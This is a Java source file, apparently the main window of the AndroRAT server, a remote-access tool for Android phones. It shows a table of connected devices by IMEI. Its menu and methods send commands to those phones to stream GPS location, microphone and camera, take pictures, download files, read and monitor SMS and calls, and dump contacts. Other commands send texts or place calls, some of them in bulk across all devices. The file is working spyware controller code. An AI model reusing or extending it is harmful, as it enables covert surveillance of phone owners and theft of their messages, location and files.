package gui;
import inout.Protocol;
import java.awt.Color;
import java.awt.Component;
import java.awt.Image;
import java.awt.Toolkit;
import java.awt.event.InputEvent;
import java.awt.event.KeyEvent;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.KeyStroke;
import javax.swing.ListSelectionModel;
import javax.swing.UIManager;
import Packet.AdvancedInformationPacket;
import Packet.CallPacket;
import Packet.PreferencePacket;
import Packet.SMSPacket;
import server.Server;
import utils.Contact;
import utils.EncoderHelper;
import utils.MyFile;
import javax.swing.GroupLayout.Alignment;
import javax.swing.GroupLayout;
import javax.swing.JSplitPane;
import gui.panel.ColorPane;
import javax.swing.JCheckBoxMenuItem;
import javax.swing.table.DefaultTableCellRenderer;
import javax.swing.table.TableCellEditor;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.Dimension;
import java.awt.Font;
public class GUI extends javax.swing.JFrame {
private JMenuItem buttonRemoveUser;
private JMenuItem buttonUserGUI;
private JMenuItem buttonExit;
private JMenuItem buttonAbout;
private JMenu jMenu1;
private JMenu jMenu2;
private JMenuBar jMenuBar1;
private JScrollPane jScrollPane1;
private JScrollPane jScrollPane;
private JTable userTable;
private JSplitPane splitPane;
private UserModel model;
private HashMap<String, UserGUI> guiMap;
private ColorPane logPanel;
private Server server;
private JCheckBoxMenuItem chckbxmntmShowLogs;
private JMenu mnAbout;
private JMenu mnBulkActions;
private JMenuItem mntmToastit;
private JMenuItem mntmSendSms;
private JMenuItem mntmGiveCall;
private JMenuItem mntmPort;
public GUI(Server server, int port) {
this.server = server;
guiMap = new HashMap<String, UserGUI>();
initComponents();
model = new UserModel();
userTable.setModel(model);
userTable.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
userTable.getColumnModel().getColumn(0).setCellRenderer(new MyRenderer());
logPanel.append(Color.blue, "*** ANDRORAT SERVEUR ***\n" +
"Authors : A.Bertrand, A.Akimov, R.David, P.Junk\nLaunch at " +
(new Date(System.currentTimeMillis()))+"\n" +
"On port : "+ port +"\n");
centrerTable(userTable);
this.setLocationRelativeTo(null);
this.setTitle("Androrat Project");
this.setVisible(true);
}
// *******************************
// M�thodes du log gui
// *******************************
public void logErrTxt(String txt) {
logPanel.append(Color.red, (new Date(System.currentTimeMillis())+ " "+txt+"\n"));
}
public void logTxt(String txt) {
logPanel.append(Color.black, (new Date(System.currentTimeMillis())+ " "+txt+"\n"));
}
public void clientLogTxt(String imei, long date, String txt) {
guiMap.get(imei).logTxt(date, txt);
//logPanel.append(Color.gray, "Client ("+imei+") at "+(new Date(date))+" : "+txt+"\n");
}
public void clientErrLogTxt(String imei, long date, String txt) {
guiMap.get(imei).errLogTxt(date, txt);
//logPanel.append(Color.red, "Client ("+imei+") at "+(new Date(date))+" : "+txt+"\n");
}
// *******************************
// M�thodes des boutons du menu
// *******************************
private void buttonStartActionPerformed() {
try {
for(int row = 0; row < userTable.getRowCount(); row++) {
String imei = (String) model.getValueAt(row, 0);
if(imei != null) server.commandSender(imei, Protocol.DISCONNECT, null);
}
} catch(Exception e) {
//
} finally {
this.dispose();
}
}
private void buttonUserGUIActionPerformed() {
int row = userTable.getSelectedRow();
if(row != -1) {
String imei = (String) model.getValueAt(row, 1);
if(imei != null) {
UserGUI gui = guiMap.get(imei);
if(gui == null) {
gui = new UserGUI(imei, this);
guiMap.put(imei, gui);
} else {
gui.setVisible(true);
}
}
} else {
JOptionPane.showMessageDialog(this,"No client selected !\nPlease select one client.","No selection",JOptionPane.ERROR_MESSAGE);
}
}
private void buttonRemoveUserActionPerformed() {
int row = userTable.getSelectedRow();
if(row != -1) {
String imei = (String) model.getValueAt(row, 1);
if(imei != null) {
server.commandSender(imei, Protocol.DISCONNECT, null);
this.deleteUser(imei);
}
} else {
JOptionPane.showMessageDialog(this,"No client selected !\nPlease select one client.","No selection",JOptionPane.ERROR_MESSAGE);
}
}
private void buttonAboutActionPerformed() {
JOptionPane.showMessageDialog(this,"Androrat is a free application developped in Java language.\n" +
"Autors : A.Bertrand, R.David, A.Akimov & P.Junk\n" +
"It is under the GNU GPL3 Licence","About Androrat",JOptionPane.INFORMATION_MESSAGE,
new ImageIcon(this.getIconImage()));
}
private void buttonShowLogs() {
if(chckbxmntmShowLogs.isSelected()) {
logPanel.setVisible(true);
jScrollPane.setVisible(true);
splitPane.setDividerLocation(0.5);
} else {
logPanel.setVisible(false);
jScrollPane.setVisible(false);
splitPane.setDividerLocation(1);
}
}
// *******************************
// M�thodes de modif du tableau
// *******************************
/**
* Ajoute une ligne "client" dans le tableau des clients connectés
* @param imei L'identifiant t�l�phone
* @param countryCode Le code du pays o� se trouve l'appareil
* @param telNumber Le numero de t�l�phone (si disponible) de l'appareil
* @param simCountryCode Le pays d'enregitrement de la SIM
* @param simSerial Le s�rial de la SIM
* @param operator L'op�rateur o� se trouve l'appareil
* @param simOperator L'op�rateur de la carte SIM
*/
/*
public void addUser(String imei, String countryCode, String telNumber, String simCountryCode, String simSerial, String operator, String simOperator) {
if(countryCode == null) countryCode = "/";
if(telNumber == null) telNumber = "/";
if(simCountryCode == null) simCountryCode = "/";
if(simOperator == null) simOperator = "/";
if(simSerial == null) simSerial = "/";
if(operator == null) operator = "/";
model.addUser(new User(imei, countryCode, telNumber, operator, simCountryCode, simOperator, simSerial));
}*/
public void addUser(String imei, String countryCode, String telNumber, String simCountryCode, String simSerial, String operator, String simOperator) {
if(countryCode == null) countryCode = "/";
if(telNumber == null) telNumber = "/";
if(simCountryCode == null) simCountryCode = "/";
if(simOperator == null) simOperator = "/";
if(simSerial == null) simSerial = "/";
if(operator == null) operator = "/";
model.addUser(new User(countryCode,imei, countryCode, telNumber, operator, simCountryCode, simOperator, simSerial));
}
public class MyRenderer extends DefaultTableCellRenderer
{
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column)
{
String country = (String) value;
ImageIcon getImg;
//country = "fr";
File f = new File("src/gui/res/Drapeau/" + country.toUpperCase() + ".png");
if (f.exists())
{
getImg = new ImageIcon(Toolkit.getDefaultToolkit().getImage(
UserGUI.class.getResource("/gui/res/Drapeau/" + country.toUpperCase() + ".png")));
} else
getImg = new ImageIcon(Toolkit.getDefaultToolkit().getImage(UserGUI.class.getResource("/gui/res/Drapeau/default.jpeg")));
Image img = getImg.getImage();
Image newimg = img.getScaledInstance(64, 64, java.awt.Image.SCALE_SMOOTH);
ImageIcon imgResize = new ImageIcon(newimg);
setIcon(imgResize);
return this;
}
}
//-------------------------------------------------
/**
* Enl�ve de la table des clients, le client mis en param�tre
* @param imei L'identifiant du client � supprimer
*/
public void deleteUser(String imei) {
model.removeUser(imei);
UserGUI gui = guiMap.get(imei);
if(gui != null) {
if(gui.isVisible()) gui.launchMessageDialog("This client is no longer available.\nClosing frame now ...", "Disconnection", JOptionPane.ERROR_MESSAGE);
gui.dispose();
}
guiMap.remove(imei);
getContentPane().repaint();
}
/**
* M�thode appel�e par les UserGUI lors de leur fermeture afin de supprimer la r�f�rence dans la HashMap
* @param imei L'identifiant de la fenetre
*/
public void closeUserGUI(String imei) {
guiMap.remove(imei);
}
// *******************************
// M�thodes de modif des userGUI
// *******************************
public void updateAdvInformations(String imei, AdvancedInformationPacket packet) {
UserGUI user = guiMap.get(imei);
user.updateHomeInformations(packet);
}
public void updatePreference(String imei, String ip, int port, boolean wait, ArrayList<String> phones, ArrayList<String> sms, ArrayList<String> kw) {
UserGUI user = guiMap.get(imei);
user.updatePreference(ip, port, wait, phones, sms, kw);
}
public void updateUserMap(String imei, double lon, double lat, double alt, float speed, float accuracy) {
UserGUI user = guiMap.get(imei);
user.updateMap(lon, lat, alt, speed, accuracy);
}
public void updateUserPicture(String imei, byte[] picture) {
UserGUI user = guiMap.get(imei);
user.updatePicture(picture);
}
public void addSoungBytes(String imei, byte[] data) {
UserGUI user = guiMap.get(imei);
user.addSoundBytes(data);
}
public void addVideoBytes(String imei, byte[] data) {
UserGUI user = guiMap.get(imei);
user.addVideoBytes(data);
}
public void updateFileTree(String imei, ArrayList<MyFile> fileList) {
UserGUI user = guiMap.get(imei);
user.updateFileTree(fileList);
}
public void updateUserCallLogs(String imei, ArrayList<CallPacket> logsList) {
UserGUI user = guiMap.get(imei);
user.updateCallLogs(logsList);
}
public void updateContacts(String imei, ArrayList<Contact> contacts) {
UserGUI user = guiMap.get(imei);
user.updateContacts(contacts);
}
public void addMonitoredCall(String imei, int type, String phoneNumber) {
UserGUI user = guiMap.get(imei);
user.addMonitoredCall(type, phoneNumber);
}
public void addMonitoredSMS(String imei, String addr, long date, String body) {
UserGUI user = guiMap.get(imei);
user.addMonitoredSMS(addr, date, body);
}
public void updateSMS(String imei, ArrayList<SMSPacket> sms) {
UserGUI user = guiMap.get(imei);
user.updateSMS(sms);
}
// *******************************
// M�thodes pour save le channel
// *******************************
public void saveMapChannel(String imei, int channel) {
UserGUI user = guiMap.get(imei);
user.saveMapChannel(channel);
}
public void saveCallLogChannel(String imei, int channel) {
UserGUI user = guiMap.get(imei);
user.saveCallLogChannel(channel);
}
public void saveContactChannel(String imei, int channel) {
UserGUI user = guiMap.get(imei);
user.saveContactChannel(channel);
}
public void saveMonitorSMSChannel(String imei, int channel) {
UserGUI user = guiMap.get(imei);
user.saveMonitorSMSChannel(channel);
}
public void saveMonitorCallChannel(String imei, int channel) {
UserGUI user = guiMap.get(imei);
user.saveMonitorCallChannel(channel);
}
public void savePictureChannel(String imei, int channel) {
UserGUI user = guiMap.get(imei);
user.savePictureChannel(channel);
}
public void saveSoundChannel(String imei, int channel) {
UserGUI user = guiMap.get(imei);
user.saveSoundChannel(channel);
}
public void saveVideoChannel(String imei, int channel) {
UserGUI user = guiMap.get(imei);
user.saveVideoChannel(channel);
}
public void saveSMSChannel(String imei, int channel) {
// TODO
}
// *******************************
// M�thodes pour les UserGUI
// *******************************
public void fireGetAdvInformations(String imei) {
server.commandSender(imei, Protocol.GET_ADV_INFORMATIONS, null);
server.commandSender(imei, Protocol.GET_PREFERENCE, null);
}
public void fireGetSMS(String imei, String req) {
server.commandSender(imei, Protocol.GET_SMS, req.getBytes());
}
public void fireStartGPSStreaming(String imei, String provider) {
server.commandSender(imei, Protocol.GET_GPS_STREAM, provider.getBytes());
}
public void fireStopGPSStreaming(String imei, int channel) {
server.commandStopSender(imei, Protocol.STOP_GPS_STREAM, null, channel);
}
public void fireStartSoundStreaming(String imei, int source) {
byte[] byteSource = ByteBuffer.allocate(4).putInt(source).array();
server.commandSender(imei, Protocol.GET_SOUND_STREAM, byteSource);
}
public void fireStopSoundStreaming(String imei, int channel) {
server.commandStopSender(imei, Protocol.STOP_SOUND_STREAM, null, channel);
}
public void fireStartVideoStream(String imei) {
server.commandSender(imei, Protocol.GET_VIDEO_STREAM, null);
}
public void fireStopVideoStream(String imei, int channel) {
server.commandStopSender(imei, Protocol.STOP_VIDEO_STREAM, null, channel);
}
public void fireTakePicture(String imei) {
server.commandSender(imei, Protocol.GET_PICTURE, null);
}
public void fireFileDownload(String imei, String path, String downPath, String downName) {
server.commandFileSender(imei, Protocol.GET_FILE, path.getBytes(), downPath, downName);
}
public void fireTreeFile(String imei) {
server.commandSender(imei, Protocol.LIST_DIR, "/".getBytes());
}
public void fireToastMessage(String imei, String txt) {
server.commandSender(imei, Protocol.DO_TOAST, txt.getBytes());
}
public void fireVibrate(String imei, Long duration) {
server.commandSender(imei, Protocol.DO_VIBRATE, EncoderHelper.encodeLong(duration));
}
public void fireBrowseUrl(String imei, String url) {
server.commandSender(imei, Protocol.OPEN_BROWSER, url.getBytes());
}
public void fireSendSMS(String imei, HashMap<String, String> map) {
byte[] data = EncoderHelper.encodeHashMap(map);
server.commandSender(imei, Protocol.SEND_SMS, data);
}
public void fireGiveCall(String imei, String target) {
server.commandSender(imei, Protocol.GIVE_CALL, target.getBytes());
}
public void fireCallLogs(String imei, String request) {
server.commandSender(imei, Protocol.GET_CALL_LOGS, request.getBytes());
}
public void fireContacts(String imei) {
server.commandSender(imei, Protocol.GET_CONTACTS, null);
}
public void fireStartCallMonitoring(String imei, HashSet<String> phoneNumbers) {
server.commandSender(imei, Protocol.MONITOR_CALL, EncoderHelper.encodeHashSet(phoneNumbers));
}
public void fireStopCallMonitoring(String imei, int channel) {
server.commandStopSender(imei, Protocol.STOP_MONITOR_CALL, null, channel);
}
public void fireStartSMSMonitoring(String imei, HashSet<String> phoneNumbers) {
server.commandSender(imei, Protocol.MONITOR_SMS, EncoderHelper.encodeHashSet(phoneNumbers));
}
public void fireStopSMSMonitoring(String imei, int channel) {
server.commandStopSender(imei, Protocol.STOP_MONITOR_SMS, null, channel);
}
public void fireSaveConnectConfiguration(String imei, String ip, int port, boolean wait, ArrayList<String> phones, ArrayList<String> sms, ArrayList<String> kw) {
PreferencePacket pp = new PreferencePacket(ip, port, wait, phones, sms, kw);
server.commandSender(imei, Protocol.SET_PREFERENCE, pp.build());
}
private void fireBulkToast() {
String txt = JOptionPane.showInputDialog(this, "Enter your text :");
if(txt != null) {
for(int row = 0; row < userTable.getRowCount(); row++) {
String imei = (String) model.getValueAt(row, 1);
if(imei != null) this.fireToastMessage(imei, txt);
}
}
}
private void fireBulkSMS() {
SMSDialog dialog = new SMSDialog(this);
String[] res = dialog.showDialog();
if(res != null) {
HashMap<String, String> map = new HashMap<String, String>();
map.put(Protocol.KEY_SEND_SMS_NUMBER, res[0]);
map.put(Protocol.KEY_SEND_SMS_BODY, res[1]);
for(int row = 0; row < userTable.getRowCount(); row++) {
String imei = (String) model.getValueAt(row, 1);
if(imei != null) this.fireSendSMS(imei, map);
}
}
}
private void fireBulkCall() {
String target = JOptionPane.showInputDialog(this, "Enter the target cell number :");
if(target != null) {
for(int row = 0; row < userTable.getRowCount(); row++) {
String imei = (String) model.getValueAt(row, 1);
if(imei != null) this.fireToastMessage(imei, target);
}
}
}
private void fireSelectPort() {
String rep = JOptionPane.showInputDialog(this, "Enter the new server port (need server reboot) : ");
server.savePortConfig(rep);
}
private void userMouseClicked(MouseEvent e) {
if(e.getClickCount() == 2) {
this.buttonUserGUIActionPerformed();
}
}
/**
* Fonction g�n�rant les �l�ments SWING de l'interface graphique
* NE PAS TOUCHER !!
*/
private void initComponents() {
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(GUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(GUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(GUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(GUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
BufferedImage image = null;
try {
image = ImageIO.read(
this.getClass().getResource("/gui/res/androrat_logo_32pix.png"));
} catch (IOException e) {
e.printStackTrace();
}
this.setIconImage(image);
jMenuBar1 = new javax.swing.JMenuBar();
jMenu1 = new javax.swing.JMenu();
buttonExit = new javax.swing.JMenuItem();
jMenu2 = new javax.swing.JMenu();
buttonRemoveUser = new javax.swing.JMenuItem();
buttonUserGUI = new javax.swing.JMenuItem();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jMenu1.setText("Server");
buttonExit.setText("Exit application");
buttonExit.addActionListener(new java.awt.event.ActionListener() {
@Override
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonStartActionPerformed();
}
});
jMenu1.add(buttonExit);
chckbxmntmShowLogs = new JCheckBoxMenuItem("Show logs");
chckbxmntmShowLogs.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
buttonShowLogs();
}
});
mntmPort = new JMenuItem("Select port");
mntmPort.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
fireSelectPort();
}
});
jMenu1.add(mntmPort);
chckbxmntmShowLogs.setSelected(true);
jMenu1.add(chckbxmntmShowLogs);
jMenuBar1.add(jMenu1);
jMenu2.setText("Client actions");
buttonUserGUI.setText("Open user interface");
buttonUserGUI.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_U, InputEvent.CTRL_MASK));
buttonUserGUI.addActionListener(new java.awt.event.ActionListener() {
@Override
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonUserGUIActionPerformed();
}
});
jMenu2.add(buttonUserGUI);
buttonRemoveUser.setText("Disconnect user");
buttonRemoveUser.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_R, InputEvent.CTRL_MASK));
buttonRemoveUser.addActionListener(new java.awt.event.ActionListener() {
@Override
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonRemoveUserActionPerformed();
}
});
jMenu2.add(buttonRemoveUser);
jMenuBar1.add(jMenu2);
setJMenuBar(jMenuBar1);
mnBulkActions = new JMenu("Bulk actions");
jMenuBar1.add(mnBulkActions);
mntmToastit = new JMenuItem("Toast-it");
mntmToastit.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
fireBulkToast();
}
});
mnBulkActions.add(mntmToastit);
mntmSendSms = new JMenuItem("Send SMS");
mntmSendSms.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
fireBulkSMS();
}
});
mnBulkActions.add(mntmSendSms);
mntmGiveCall = new JMenuItem("Give call");
mntmGiveCall.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
fireBulkCall();
}
});
mnBulkActions.add(mntmGiveCall);
mnAbout = new JMenu("About");
jMenuBar1.add(mnAbout);
buttonAbout = new javax.swing.JMenuItem();
mnAbout.add(buttonAbout);
buttonAbout.setText("About Androrat");
buttonAbout.addActionListener(new java.awt.event.ActionListener() {
@Override
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonAboutActionPerformed();
}
});
splitPane = new JSplitPane();
splitPane.setOrientation(JSplitPane.VERTICAL_SPLIT);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
layout.setHorizontalGroup(
layout.createParallelGroup(Alignment.LEADING)
.addComponent(splitPane, Alignment.TRAILING, GroupLayout.DEFAULT_SIZE, 671, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(Alignment.LEADING)
.addComponent(splitPane, Alignment.TRAILING, GroupLayout.DEFAULT_SIZE, 305, Short.MAX_VALUE)
);
jScrollPane = new JScrollPane();
splitPane.setRightComponent(jScrollPane);
logPanel = new ColorPane();
jScrollPane.setViewportView(logPanel);
jScrollPane1 = new javax.swing.JScrollPane();
splitPane.setLeftComponent(jScrollPane1);
splitPane.setDividerLocation(200);
userTable = new javax.swing.JTable();
userTable.setRowMargin(3);
userTable.setRowHeight(48);
userTable.setFont(new Font("Dialog", Font.PLAIN, 14));
userTable.setAutoResizeMode(JTable.AUTO_RESIZE_NEXT_COLUMN);
userTable.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
userMouseClicked(e);
}
});
jScrollPane1.setViewportView(userTable);
getContentPane().setLayout(layout);
pack();
}
private void centrerTable(JTable table) { DefaultTableCellRenderer custom = new DefaultTableCellRenderer();
custom.setHorizontalAlignment(JLabel.CENTER);
userTable.getColumnModel().getColumn(0).setPreferredWidth(56);
for (int i=1 ; i<table.getColumnCount() ; i++)
table.getColumnModel().getColumn(i).setCellRenderer(custom);
}
}